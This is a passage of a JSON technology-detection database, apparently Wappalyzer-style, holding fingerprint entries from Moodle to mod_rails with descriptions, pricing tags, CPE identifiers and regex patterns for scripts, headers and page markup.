\"cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*\",\n    \"description\": \"Moodle is a free and open-source Learning Management System (LMS) written in PHP and distributed under the GNU General Public License.\",\n    \"html\": [\n      \"<img[^>]+moodlelogo\"\n    ],\n    \"icon\": \"Moodle.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"M.core\": \"\",\n      \"Y.Moodle\": \"\"\n    },\n    \"meta\": {\n      \"keywords\": \"^moodle\"\n    },\n    \"website\": \"https://moodle.org\"\n  },\n  \"Moon\": {\n    \"cats\": [\n      12\n    ],\n    \"icon\": \"moon.svg\",\n    \"scriptSrc\": [\n      \"/moon(?:\\\\.min)?\\\\.js$\"\n    ],\n    \"website\": \"https://kbrsh.github.io/moon/\"\n  },\n  \"Moove GDPR Consent\": {\n    \"cats\": [\n      67,\n      87\n    ],\n    \"description\": \"Moove GDPR Consent is a GDPR Cookie Compliance plugin for Wordpress.\",\n    \"icon\": \"Moove.svg\",\n    \"js\": {\n      \"moove_frontend_gdpr_scripts\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mooveagency.com/wordpress/gdpr-cookie-compliance-plugin\"\n  },\n  \"Mopinion\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Mopinion is an all-in-one user feedback platform that helps digital enterprises listen, understand, and act across all digital touchpoints.\",\n    \"icon\": \"Mopinion.svg\",\n    \"js\": {\n      \"Pastease\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"deploy\\\\.mopinion\\\\.com/\"\n    ],\n    \"website\": \"https://mopinion.com\"\n  },\n  \"Morphext\": {\n    \"cats\": [\n      25,\n      59\n    ],\n    \"description\": \"A simple, high-performance and cross-browser jQuery rotating / carousel plugin for text phrases powered by Animate.css.\",\n    \"icon\": \"Morphext.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"morphext(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://morphext.fyianlai.com/\"\n  },\n  \"Morris.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A JavaScript library that simplifies the process of creating interactive and responsive data visualizations on the web.\",\n    \"oss\": true,\n    \"requires\": [\n      \"jQuery\",\n      \"Raphael\"\n    ],\n    \"scriptSrc\": [\n      \"morris(?:\\\\/(?:area|bar|donut|grid|hover|line))?(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://morrisjs.github.io/morris.js/\"\n  },\n  \"Moshimo\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Moshimo is a free affiliate service for individuals.\",\n    \"dom\": [\n      \"link[href*='i.moshimo.com'], img[src*='i.moshimo.com']\"\n    ],\n    \"icon\": \"Moshimo.svg\",\n    \"scriptSrc\": [\n      \"\\\\.moshimo\\\\.com/af/\"\n    ],\n    \"website\": \"https://af.moshimo.com\"\n  },\n  \"Motherhost\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Motherhost is a web hosting company based in India that offers a range of hosting services, including shared hosting, VPS hosting, dedicated servers, and cloud hosting.\",\n    \"headers\": {\n      \"platform\": \"^motherhost$\"\n    },\n    \"icon\": \"Motherhost.svg\",\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"website\": \"https://www.motherhost.com\"\n  },\n  \"Motion\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Motion is an AI-powered tool that helps users manage their calendars, meetings, and projects.\",\n    \"dom\": [\n      \"iframe[src*='app.usemotion.com']\"\n    ],\n    \"icon\": \"Motion.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"segmentcdn\\\\.usemotion\\\\.com/next-integrations/integrations/vendor/commons\\\\.[a-z0-9]+\\\\.js\"\n    ],\n    \"website\": \"https://www.usemotion.com\"\n  },\n  \"Motion.page\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Motion.page is a WordPress animation plugin utilizing GSAP and ScrollTrigger.\",\n    \"icon\": \"Motion.Page.svg\",\n    \"js\": {\n      \"MOTIONPAGE_FRONT.version\": \"^([0-9\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://motion.page\"\n  },\n  \"MotoCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:motocms:motocms:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<link [^>]*href=\\\"[^>]*\\\\/mt-content\\\\/[^>]*\\\\.css\"\n    ],\n    \"icon\": \"MotoCMS.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"AngularJS\",\n      \"jQuery\"\n    ],\n    \"scriptSrc\": [\n      \"/mt-includes/js/website(?:assets)?\\\\.(?:min)?\\\\.js\"\n    ],\n    \"website\": \"https://motocms.com\"\n  },\n  \"Mottle\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Mottle is a custom chatbot creation tool that allows users to build expressive ChatGPT-like chatbots using their own data.\",\n    \"dom\": [\n      \"link[href*='embed.mottle.com/']\"\n    ],\n    \"icon\": \"Mottle.svg\",\n    \"js\": {\n      \"Mottle\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://mottle.com\"\n  },\n  \"Mottor\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Mottor is a no-code tool for creating websites, online stores, landing pages, and more.\",\n    \"icon\": \"Mottor.svg\",\n    \"js\": {\n      \"mottorLogError\": \"\",\n      \"serviceBaseUrl\": \"lpmotor\\\\.ru\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://lpmotor.ru\"\n  },\n  \"Mountain\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"MNTN Performance TV is a CTV advertising platform with targeting, measurement, and optimization for amplifying marketers' performance goals.\",\n    \"icon\": \"Mountain.png\",\n    \"scriptSrc\": [\n      \"dx\\\\.mountain\\\\.com\",\n      \"px\\\\.mountain\\\\.com\"\n    ],\n    \"website\": \"https://mountain.com/\"\n  },\n  \"Mouse Flow\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Mouseflow.svg\",\n    \"js\": {\n      \"_mfq\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.mouseflow\\\\.com\"\n    ],\n    \"website\": \"https://mouseflow.com/\"\n  },\n  \"Movable Ink\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Movable Ink is a technology company that allows marketers to change emails after they have been sent out.\",\n    \"icon\": \"Movable Ink.svg\",\n    \"js\": {\n      \"MovableInkTrack\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://movableink.com\"\n  },\n  \"Movable Type\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:sixapart:movable_type:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Movable Type.svg\",\n    \"meta\": {\n      \"generator\": \"Movable Type\"\n    },\n    \"website\": \"https://movabletype.org\"\n  },\n  \"Moveo.AI\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Moveo.AI is a no-code platform that allows businesses to create, manage and deploy AI virtual agents (chatbots).\",\n    \"icon\": \"Moveo.AI.svg\",\n    \"js\": {\n      \"MoveoAI\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://moveo.ai\"\n  },\n  \"MoverBase\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"MoverBase is a software solution that includes features designed to support the management of a moving company.\",\n    \"icon\": \"MoverBase.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"lead\\\\.moverbase\\\\.com/\"\n    ],\n    \"website\": \"https://www.moverbase.com\"\n  },\n  \"Moxie\": {\n    \"cats\": [\n      5,\n      68\n    ],\n    \"description\": \"Pollyfills for XHR2 and File API\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"moxie(?:\\\\.min)?\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/moxiecode/moxie\"\n  },\n  \"Mozard Suite\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Mozard Suite.svg\",\n    \"meta\": {\n      \"author\": \"Mozard\"\n    },\n    \"url\": [\n      \"/mozard/!suite\"\n    ],\n    \"website\": \"https://mozard.nl\"\n  },\n  \"MudBlazor\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"MudBlazor is a component library for Blazor implementing Material Design.\",\n    \"dom\": [\n      \"link[href*='/MudBlazor.min.css']\"\n    ],\n    \"icon\": \"Mudblazor.svg\",\n    \"implies\": [\n      \"Blazor\"\n    ],\n    \"js\": {\n      \"mudWindow\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"_content/MudBlazor/MudBlazor\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://mudblazor.com/\"\n  },\n  \"Mulberry\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Mulberry is a developer of personalised product protection solutions used to help brands unlock additional revenue.\",\n    \"icon\": \"Mulberry.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"js\": {\n      \"mulberry.cta\": \"\",\n      \"mulberryShop\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getmulberry\\\\.com/\"\n    ],\n    \"website\": \"https://www.getmulberry.com\"\n  },\n  \"Mura CMS\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"cpe\": \"cpe:2.3:a:blueriver:muracms:*:*:*:*:*:*:*:*\",\n    \"description\": \"Mura CMS is the cloud-based, API driven, content management platform.\",\n    \"icon\": \"Mura CMS.svg\",\n    \"implies\": [\n      \"Adobe ColdFusion\"\n    ],\n    \"meta\": {\n      \"generator\": \"Mura\\\\sCMS\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.getmura.com\"\n  },\n  \"Mustache\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Mustache is a web template system.\",\n    \"icon\": \"Mustache.png\",\n    \"js\": {\n      \"Mustache.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"mustache(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://mustache.github.io\"\n  },\n  \"Mutiny\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Mutiny is a no-code AI platform designed to aid marketers in converting top-of-funnel demand into revenue without requiring the expertise of engineers.\",\n    \"icon\": \"Mutiny.svg\",\n    \"js\": {\n      \"mutiny\": \"\",\n      \"mutinyData\": \"\",\n      \"mutinyEditor\": \"\",\n      \"mutinyWpJsonp\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mutinyhq.com\"\n  },\n  \"Muuri\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Muuri is a JavaScript layout engine that allows you to build all kinds of layouts and make them responsive, sortable, filterable, draggable and/or animated.\",\n    \"icon\": \"Muuri.svg\",\n    \"js\": {\n      \"Muuri\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://muuri.dev\"\n  },\n  \"Mux\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Mux is a platform offering integration to monitor video streaming performance using minimal lines of code.\",\n    \"icon\": \"Mux.svg\",\n    \"js\": {\n      \"MuxVideoElement\": \"\",\n      \"initBitmovinMux\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mux.com\"\n  },\n  \"My Flying Box\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"My Flying Box is an international parcel shipping company.\",\n    \"icon\": \"My Flying Box.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bMy Flying Box\\\\b\"\n    ],\n    \"website\": \"https://www.myflyingbox.com/\"\n  },\n  \"My Food Link\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"My Food Link provides a fully hosted specialist online supermarket ecommerce platform to supermarkets and grocers.\",\n    \"icon\": \"My Food Link.svg\",\n    \"js\": {\n      \"Myfoodlink\": \"\",\n      \"myfoodlink\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.myfoodlink.com.au\"\n  },\n  \"MyBB\": {\n    \"cats\": [\n      2\n    ],\n    \"cookies\": {\n      \"mybb[lastactive]\": \"\",\n      \"mybb[lastvisit]\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:mybb:mybb:*:*:*:*:*:*:*:*\",\n    \"description\": \"MyBB is a free and open-source forum software written in PHP.\",\n    \"icon\": \"MyBB.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"MyBB\": \"\",\n      \"MyBBEditor\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://mybb.com\"\n  },\n  \"MyBlogLog\": {\n    \"cats\": [\n      5\n    ],\n    \"icon\": \"MyBlogLog.png\",\n    \"scriptSrc\": [\n      \"pub\\\\.mybloglog\\\\.com\"\n    ],\n    \"website\": \"https://www.mybloglog.com\"\n  },\n  \"MyCashFlow\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"MyCashFlow is an ecommerce platform based in Finland that provides tools and services for businesses to create, manage, and optimize online stores.\",\n    \"headers\": {\n      \"X-MCF-ID\": \"\"\n    },\n    \"icon\": \"mycashflow.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mycashflow.fi\"\n  },\n  \"MyFonts\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"MyFonts is a digital fonts distributor, based in Woburn, Massachusetts.\",\n    \"dom\": [\n      \"link[href*='.myfonts.net']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.myfonts\\\\.net\"\n    },\n    \"icon\": \"MyFonts.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"website\": \"https://www.myfonts.com\",\n    \"xhr\": [\n      \"\\\\.myfonts\\\\.net/\"\n    ]\n  },\n  \"MyLiveChat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"MyLiveChat is a live chat developed by CuteSoft.\",\n    \"icon\": \"MyLiveChat.svg\",\n    \"js\": {\n      \"MyLiveChat.Version\": \"(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"mylivechat\\\\.com/\"\n    ],\n    \"website\": \"https://mylivechat.com\"\n  },\n  \"MyOnlineStore\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"MyOnlineStore is a web shop system in the Netherlands.\",\n    \"icon\": \"MyOnlineStore.svg\",\n    \"meta\": {\n      \"generator\": \"Mijnwebwinkel\"\n    },\n    \"website\": \"https://www.myonlinestore.com/ \"\n  },\n  \"MySQL\": {\n    \"cats\": [\n      34\n    ],\n    \"cpe\": \"cpe:2.3:a:mysql:mysql:*:*:*:*:*:*:*:*\",\n    \"description\": \"MySQL is an open-source relational database management system.\",\n    \"icon\": \"MySQL.svg\",\n    \"website\": \"https://mysql.com\"\n  },\n  \"MySiteNow\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"MySiteNow provides cloud-based web development services, allowing users to create HTML5 websites and mobile sites.\",\n    \"icon\": \"MySiteNow.png\",\n    \"meta\": {\n      \"app-platform\": \"^MySiteNow$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://mysitenow.gr\"\n  },\n  \"MyWebsite\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"MyWebsite is website builder designed for easy editing and fast results.\",\n    \"excludes\": [\n      \"Jimdo\"\n    ],\n    \"icon\": \"MyWebsite.svg\",\n    \"js\": {\n      \"SystemID\": \"^.*1AND1.*$\\\\;version:8\"\n    },\n    \"meta\": {\n      \"generator\": \"IONOS MyWebsite\\\\;version:8\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ionos.com\"\n  },\n  \"MyWebsite Creator\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"MyWebsite Creator is website builder designed for easy editing and fast results.\",\n    \"icon\": \"MyWebsite.svg\",\n    \"implies\": [\n      \"Duda\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"website-editor\\\\.net\",\n      \"mywebsite-editor\\\\.com\"\n    ],\n    \"website\": \"https://www.ionos.com\"\n  },\n  \"MyWebsite Now\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"MyWebsite Now is a website builder designed for getting online quickly.\",\n    \"dom\": [\n      \"img[src*='/-_-/res/']\"\n    ],\n    \"icon\": \"MyWebsite.svg\",\n    \"implies\": [\n      \"React\",\n      \"Node.js\",\n      \"GraphQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"MyWebsite NOW\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ionos.com\"\n  },\n  \"Myhkw player\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Myhkw player is a website music player.\",\n    \"icon\": \"Myhkw player.svg\",\n    \"js\": {\n      \"myhk_player_songid\": \"\",\n      \"myhkplayerlist\": \"\"\n    },\n    \"website\": \"https://myhkw.cn\"\n  },\n  \"Mynetcap\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Mynetcap.png\",\n    \"meta\": {\n      \"generator\": \"Mynetcap\"\n    },\n    \"website\": \"https://www.netcap-creation.fr\"\n  },\n  \"Mysitefy\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Mysitefy is a digital platform for B2B enterprises. It provides companies with a closed-loop digital application system from website building to marketing, to customer and order management.\",\n    \"dom\": [\n      \"img[src*='//cdn.mysitefy.com/']\"\n    ],\n    \"icon\": \"Mysitefy.svg\",\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mysitefy.com\"\n  },\n  \"MysteryThemes News Portal\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"News Portal is the ultimate magazine WordPress theme by MysteryThemes.\",\n    \"icon\": \"MysteryThemes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/news-portal(?:-pro)?/.+np-custom-scripts\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://mysterythemes.com/wp-themes/news-portal\"\n  },\n  \"MysteryThemes News Portal Lite\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"News Portal Lite is child theme of News Portal ultimate magazine WordPress theme by MysteryThemes.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/news-portal-lite/']\"\n    ],\n    \"excludes\": [\n      \"MysteryThemes News Portal\"\n    ],\n    \"icon\": \"MysteryThemes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://mysterythemes.com/wp-themes/news-portal-lite\"\n  },\n  \"MysteryThemes News Portal Mag\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"News Portal Mag is child theme of News Portal ultimate magazine WordPress theme by MysteryThemes.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/news-portal-mag/']\"\n    ],\n    \"excludes\": [\n      \"MysteryThemes News Portal\"\n    ],\n    \"icon\": \"MysteryThemes.svg\",\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://mysterythemes.com/wp-themes/news-portal-mag\"\n  },\n  \"mOxie\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"mOxie is a library providing polyfills for XHR2 and File API, ensuring compatibility with older browsers that lack native support.\",\n    \"js\": {\n      \"mOxie\": \"\",\n      \"moxie\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://github.com/moxiecode/moxie\"\n  },\n  \"mParticle\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"mParticle is a mobile-focused event tracking and data ingestion tool.\",\n    \"icon\": \"mParticle.svg\",\n    \"js\": {\n      \"mParticle\": \"\",\n      \"mParticle.config.snippetVersion\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mparticle\\\\.com/\"\n    ],\n    \"website\": \"https://www.mparticle.com\"\n  },\n  \"math.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Math.js a JavaScript library that provides a comprehensive set of mathematical functions and capabilities for performing complex calculations and operations in web applications.\",\n    \"icon\": \"math.js.svg\",\n    \"js\": {\n      \"mathjs\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"math(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://mathjs.org\"\n  },\n  \"mdBook\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"mdBook is a utility to create modern online books from Markdown files.\",\n    \"icon\": \"mdBook.svg\",\n    \"oss\": true,\n    \"scripts\": [\n      \"localStorage\\\\.getItem\\\\('mdbook-(?:sidebar|theme)'\\\\)\"\n    ],\n    \"website\": \"https://github.com/rust-lang/mdBook\"\n  },\n  \"metisMenu\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"metisMenu is a collapsible jQuery menu plugin.\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"MetisMenu\": \"\",\n      \"metisMenu\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:/|\\\\.)metisMenu(?:js)?(?:\\\\.min)?\\\\.js(?:\\\\?([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/onokumus/metismenu\"\n  },\n  \"microCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"microCMS is a Japan-based headless CMS that enables editors and developers to build delicate sites and apps.\",\n    \"dom\": [\n      \"img[src*='.microcms-assets.io/'], link[href*='.microcms-assets.io/']\"\n    ],\n    \"icon\": \"microCMS.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://microcms.io\",\n    \"xhr\": [\n      \"\\\\.microcms\\\\.io\"\n    ]\n  },\n  \"mini_httpd\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:acme:mini_httpd:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"mini_httpd(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"mini_httpd.png\",\n    \"website\": \"https://acme.com/software/mini_httpd\"\n  },\n  \"mirrAR\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"mirrAR is a real-time augmented reality platform for retail brands that enables consumers to virtually try on products and experience how it feels to own them before the actual purchase, both in-store and online.\",\n    \"icon\": \"mirrAR.svg\",\n    \"js\": {\n      \"initMirrarUI\": \"\",\n      \"loadmirrAR\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mirrar.com\"\n  },\n  \"mobicred\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Mobicred is a credit facility that allows you to safely shop online with our participating retailers.\",\n    \"icon\": \"Mobicred.svg\",\n    \"scriptSrc\": [\n      \"app\\\\.mobicredwidget\\\\.co\\\\.za\"\n    ],\n    \"website\": \"https://mobicred.co.za/\"\n  },\n  \"mobile-detect.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Mobile-detect.js is a compact JavaScript library designed to detect devices by comparing patterns against a given User-Agent string.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"mobile-detect(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://hgoebl.github.io/mobile-detect.js/doc/MobileDetect.html\"\n  },\n  \"mod_auth_pam\": {\n    \"cats\": [\n      33\n    ],\n    \"description\": \"Mod_auth_pam is used to configure ways for authenticating users.\",\n    \"headers\": {\n      \"Server\": \"mod_auth_pam(?:/([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Apache.svg\",\n    \"implies\": [\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://pam.sourceforge.net/mod_auth_pam\"\n  },\n  \"mod_dav\": {\n    \"cats\": [\n      33\n    ],\n    \"description\": \"Mod_dav is an Apache module to provide WebDAV capabilities for your Apache web server. It is an open-source module, provided under an Apache-style license.\",\n    \"headers\": {\n      \"Server\": \"\\\\b(?:mod_)?DAV\\\\b(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Apache.svg\",\n    \"implies\": [\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://webdav.org/mod_dav\"\n  },\n  \"mod_fastcgi\": {\n    \"cats\": [\n      33\n    ],\n    \"description\": \"Mod_fcgid is a high performance alternative to mod_cgi or mod_cgid, which starts a sufficient number instances of the CGI program to handle concurrent requests, and these programs remain running to handle further incoming requests.\",\n    \"headers\": {\n      \"Server\": \"mod_fastcgi(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Apache.svg\",\n    \"implies\": [\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html\"\n  },\n  \"mod_jk\": {\n    \"cats\": [\n      33\n    ],\n    \"description\": \"Mod_jk is an Apache module used to connect the Tomcat servlet container with web servers such as Apache, iPlanet, Sun ONE (formerly Netscape) and even IIS using the Apache JServ Protocol. A web server waits for client HTTP requests.\",\n    \"headers\": {\n      \"Server\": \"mod_jk(?:/([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Apache.svg\",\n    \"implies\": [\n      \"Apache Tomcat\",\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://tomcat.apache.org/tomcat-3.3-doc/mod_jk-howto.html\"\n  },\n  \"mod_perl\": {\n    \"cats\": [\n      33\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:mod_perl:*:*:*:*:*:*:*:*\",\n    \"description\": \"Mod_perl is an optional module for the Apache HTTP server. It embeds a Perl interpreter into the Apache server. In addition to allowing Apache modules to be written in the Perl programming language, it allows the Apache web server to be dynamically configured by Perl programs.\",\n    \"headers\": {\n      \"Server\": \"mod_perl(?:/([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"mod_perl.png\",\n    \"implies\": [\n      \"Perl\",\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://perl.apache.org\"\n  },\n  \"mod_python\": {\n    \"cats\": [\n      33\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:mod_python:*:*:*:*:*:*:*:*\",\n    \"description\": \"Mod_python is an Apache HTTP Server module that integrates the Python programming language with the server. It is intended to provide a Python language binding for the Apache HTTP Server. \",\n    \"headers\": {\n      \"Server\": \"mod_python(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"mod_python.png\",\n    \"implies\": [\n      \"Python\",\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://www.modpython.org\"\n  },\n  \"mod_rack\": {\n    \"cats\": [\n      33\n    ],\n    \"description\": \"Mod_rack is a free web server and application server with support for Ruby, Python and Node.js.\",\n    \"headers\": {\n      \"Server\": \"mod_rack(?:/([\\\\d.]+))?\\\\;version:\\\\1\",\n      \"X-Powered-By\": \"mod_rack(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Phusion Passenger.svg\",\n    \"implies\": [\n      \"Ruby on Rails\\\\;confidence:50\",\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://phusionpassenger.com\"\n  },\n  \"mod_rails\": {\n    \"cats\": [\n      33\n    ],\n    \"description\": \"Mod_rails is a free web server and application server with support for Ruby, Python and Node.js.\",\n    \"headers\": {\n      \"Server\": \"mod_rails(?:/([\\\\d.]+))?\\\\;version:\\\\1\",\n      \"X-Powered-By\": 